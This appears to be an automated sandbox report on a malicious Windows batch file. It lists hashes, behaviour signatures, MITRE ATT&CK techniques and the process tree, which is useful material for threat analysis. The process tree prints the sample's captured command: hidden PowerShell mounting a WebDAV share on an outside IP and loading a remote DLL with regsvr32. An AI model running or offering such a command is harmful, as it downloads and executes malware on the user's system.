994476ed1bb4202c4efb908e8c8d57d6be3837b76c4a7287d4d537c63907a038

Analysis

max time kernel
149s
max time network
152s
platform
windows10-2004_x64
resource
win10v2004-20240709-en
resource tags

arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
submitted
19/07/2024, 03:26

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General

Target

5e13d1b252311c680b84c1c87c7487bf7724609c9bf572b72db0a49168dbf156.bat
Size

15KB
MD5

bdf3d064c172015f3f49bbabc00c7e4a
SHA1

3261d02778ef25bd8a3067f25d0c9f103100bcbe
SHA256

5e13d1b252311c680b84c1c87c7487bf7724609c9bf572b72db0a49168dbf156
SHA512

85a93a7fcdc0eb60ad360dc8c248c3aef6cbad3919933068e414276de1a60cf0cf842ca7b4514bb53e3aa0c027e8dd7becdad0698c03d53635459059411031af
SSDEEP

384:BdQT+1v7GWrOQcqT+PTFWvgiD8AhRqdia4nIk1dtt7ttqjEFPx7s01f:bz1FfqUPDGGhXFZ401f

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1804	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2990742725-2267136959-192470804-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1804	powershell.exe
1804	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1804	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
1600	wordpad.exe
1600	wordpad.exe
1600	wordpad.exe
1600	wordpad.exe
1600	wordpad.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 3964 wrote to memory of 1600	3964	cmd.exe	84
PID 3964 wrote to memory of 1600	3964	cmd.exe	84
PID 3964 wrote to memory of 1804	3964	cmd.exe	86
PID 3964 wrote to memory of 1804	3964	cmd.exe	86
PID 1804 wrote to memory of 5096	1804	powershell.exe	89
PID 1804 wrote to memory of 5096	1804	powershell.exe	89
PID 1804 wrote to memory of 456	1804	powershell.exe	90
PID 1804 wrote to memory of 456	1804	powershell.exe	90

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\5e13d1b252311c680b84c1c87c7487bf7724609c9bf572b72db0a49168dbf156.bat"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3964
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:1600
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\47312627127348.dll
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1804
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\
    3⤵
    PID:5096
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\47312627127348.dll
    3⤵
    PID:456

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k PrintWorkflow -s PrintWorkflowUserSvc
1⤵
PID:3536

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_thokl13i.15e.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1804-0-0x0000011F57820000-0x0000011F57842000-memory.dmp

Filesize
136KB

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